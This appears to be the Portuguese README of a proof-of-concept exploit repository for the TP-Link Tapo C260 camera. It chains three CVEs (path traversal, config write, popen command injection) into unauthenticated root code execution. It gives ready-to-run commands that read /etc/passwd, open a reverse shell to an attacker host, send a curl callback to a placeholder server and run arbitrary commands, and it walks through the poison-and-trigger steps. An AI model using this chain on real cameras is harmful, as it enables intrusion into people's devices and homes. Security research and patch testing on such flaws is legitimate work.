
Cadeia de exploração PoC para a câmera TP-Link Tapo C260 — CVE-2026-0651/0652/0653. Pesquisa por @spaceraccoon.
Prova de conceito de cadeia de exploração para a câmera IP TP-Link Tapo C260 que alcança RCE de não autenticado a root encadeando três vulnerabilidades descobertas por Eugene Lim (Spaceraccoon).
Toda a pesquisa e descoberta de vulnerabilidades por Eugene Lim (@spaceraccoon).
Este repositório é uma implementação de PoC baseada em seu writeup público. Se você achar isso útil, compre o livro dele: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Tipo | Impacto |
|---|---|---|
| CVE-2026-0651 | Path Traversal / Divulgação de Arquivos Locais | Ler arquivos arbitrários via /%2e%2e%2f no manipulador HTTP GET |
| CVE-2026-0652 | Gravação Arbitrária de Configuração | Usuários de nível convidado podem gravar em qualquer caminho de configuração via manipulação de chaves JSON na API de nuvem |
| CVE-2026-0653 | Injeção de Comandos / Escalação de Privilégios | set_region_code_handle passa o valor de configuração dev_name sem sanitização para popen() |
LFD (ler configuração do dispositivo) --> Gravação de Configuração (envenenar dev_name) --> Acionar manipulador de código de região --> popen() --> shell
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Ler arquivos arbitrários de uma câmera na rede local:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Reverse shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# Apenas callback (ping curl)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# Comando personalizado
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Envenenar — Envia uma solicitação setLedStatus com chaves JSON manipuladas que grava um payload de metacaractere de shell no caminho de configuração tp_manage/info/dev_name no dispositivo.
Acionar — Envia uma solicitação set_region_code. O manipulador lê dev_name da configuração e o interpola em uma chamada popen() sem sanitização, executando o comando injetado.
Shell — O atacante recebe um callback ou reverse shell.
/bin/mainEsta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis pelo uso indevido. Sempre obtenha permissão explícita antes de testar contra qualquer dispositivo que você não possua.